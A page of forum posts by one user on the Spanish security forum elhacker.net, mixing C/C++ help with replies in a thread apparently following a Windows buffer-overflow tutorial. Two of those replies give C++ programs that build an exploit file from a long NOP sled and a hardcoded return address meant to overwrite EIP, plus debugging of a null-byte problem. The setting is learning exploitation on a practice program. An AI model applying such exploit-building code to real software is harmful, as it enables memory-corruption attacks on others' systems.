elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Tutorial básico de Quickjs


  Mostrar Mensajes
Páginas: 1 2 3 4 5 [6]
51  Seguridad Informática / Hacking / Re: [Manual] Buffer Overflow en Windows en: 30 Abril 2011, 00:35 am
Bueno, tras estar depurándolo con el Ollydbg un buen rato, dí con la solución, aunque no sé si será lo mas agradable a la vista... Cambié el modo de escribir la dirección en el archivo creando una nueva variable de tipo 'char' en la que guardo la dirección 0x00, y posteriormente escribiéndola en el fichero.
Así quedaría el código del programa del exploit, por si alguien se encuentra con el mismo problema y le puede resultar útil.
Código:
#include <cstdlib>
#include <iostream>
#include <fstream>
using namespace std;

int main(){
    unsigned char nose = 0x00;
    char ret[] = "\x34\x16\x40";
    char nops[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90";
    cout << "Creando el exploit...\n\n";
    ofstream f("archivo.txt");
    f << nops << ret << nose;
    f.close();
    cout << "Finalizado...\n";
    return 0;
}

Un saludo.

Edito: Bueno, como no me gustaba mucho a la vista como había quedado, hice el código un poco más limpio a la vista utilizando un vector STL, y también funcional, espero que le sirva a alguien que esté siguiendo este tutorial o se esté inicuando en C++

Código:
#include <cstdlib>
#include <iostream>
#include <fstream>
#include <vector>

#define NOPS_MAX 316
using namespace std;

int main(){
    vector <unsigned char> nops(NOPS_MAX,0x90); //Creamos el vector de nops con
    // el numero de instrucciones NOP necesarias para el exploit, y la rellenamos
    // de NOP
   
    vector <unsigned char> ret(4);
    ret[0]=0x34; ret[1]=0x16; ret[2]=0x40; ret[3]=0x00;
    //Creamos el otro vector con el la direccion de memoria necesaria
       

    cout << "Creando el exploit...\n\n";
    ofstream f("archivo.txt");
   
    for (int i=0;i<nops.size();i++)
        f << nops[i];
       
    for (int i=0;i<ret.size();i++)
        f << ret[i];
    //f << nops << ret;
    f.close();
    cout << "Finalizado...\n";
    return 0;
}

52  Programación / Programación C/C++ / Re: [RESUELTO, AHORA VARIANTES]Hola, tengo un ligero problema en: 29 Abril 2011, 19:10 pm
Bueno, por ejemplo, podrías leer la expresión, y luago tratarla caracter a caracter. Por ejemplo, se me ocurre  guardar la ecuación en un array de tamaño variable (podrías usar la clase vector de stl para esto, que es muy útil), en la que en la posición 0 del vector guardas el termino independiente, en la posición 1 el termino de grado 1 etc...
También piensa que en realidad no tienes que tratar de manera especial que sea una suma o una resta, simplemente puedes guardar en el array el vector cambiado de signo o no, y con el término o términos de la derecha de la igualdad lo mismo, solo tendrías que cambiarles el signo para luego operar fácilmente...

PD: Vale veo que solo pretendes hacerlo para ecuaciones de segundo grado, asi que lo tienes más fácil si quieres, no necesitas ni crear un "vector" de stl, puedes hacerlo con variables directamente o con un array fijo de 3 posiciones.
53  Programación / Programación C/C++ / Re: Dudas sobre un error en: 28 Abril 2011, 18:25 pm
Sin entrar muy a profundidad en el código, lo primero que veo es que empiezas abriendo una llave, y cerrándola al final del todo que no tiene mucho sentido, prueba quitándolas.
54  Seguridad Informática / Hacking / Re: [Manual] Buffer Overflow en Windows en: 28 Abril 2011, 00:27 am
Estoy teniendo problemas a la hora de decidir la dirección de memoria sobreescrita, a ver si me podeis echar una mano.

Mi idea es que el EIP apunte a la dirección 00 40 16 3C, asi que hago esto en mi programa.

char ret[] = "\x3c\x16\x40\x00";

también le pongo los respectivos NOPS delante. Parece que el tema va bien, pero a la hora de ejecutar el programa a hacerle el overflow, me sigue saltando el error, y me dice que el EIP en el momento del error es  FF 40 16 3C, es decir, los 00 me los convierte en FF y obviamente me da un error de acceso a memoria. Sabeis por que puede ser esto?

Pongo el codigo completo del exploit...

Código:
#include <cstdlib>
#include <iostream>
#include <fstream>
using namespace std;

int main(){
    char ret[] = "\x3c\x16\x40\x00";
    char nops[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90";
    cout << "Creando el exploit...\n\n";
    ofstream f("archivo.txt");
    f << nops << ret;
    f.close();
    cout << "Finalizado...\n";
    getchar();
    return 0;
}

Y aquí el error, en el que se ve claramente lo que explico más arriba.

55  Programación / Programación C/C++ / Re: Hola, tengo un ligero problema en: 27 Abril 2011, 19:49 pm
La función "main" debe declararse como "int", esto significa que al finalizar la función main, esperará un valor de retorno, en este caso un return 0, para indicarle al sistema operativo que todo fue bien.

Por otro lado getch pertenece a la libreria conio.h, que es una libreria muy anticuada y no estandar. Si ese mismo programa lo intentas compilar en un sistema UNIX es muy probable que no funcione por el uso de esa libreria, aparte de otros problemas más que puede dar.

Te recomiendo que leas el post que está arriba sobre las cosas que no se deben hacer en c/c++, es un post muy útil que a mi me gustó bastante.

Un saludo.
Páginas: 1 2 3 4 5 [6]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines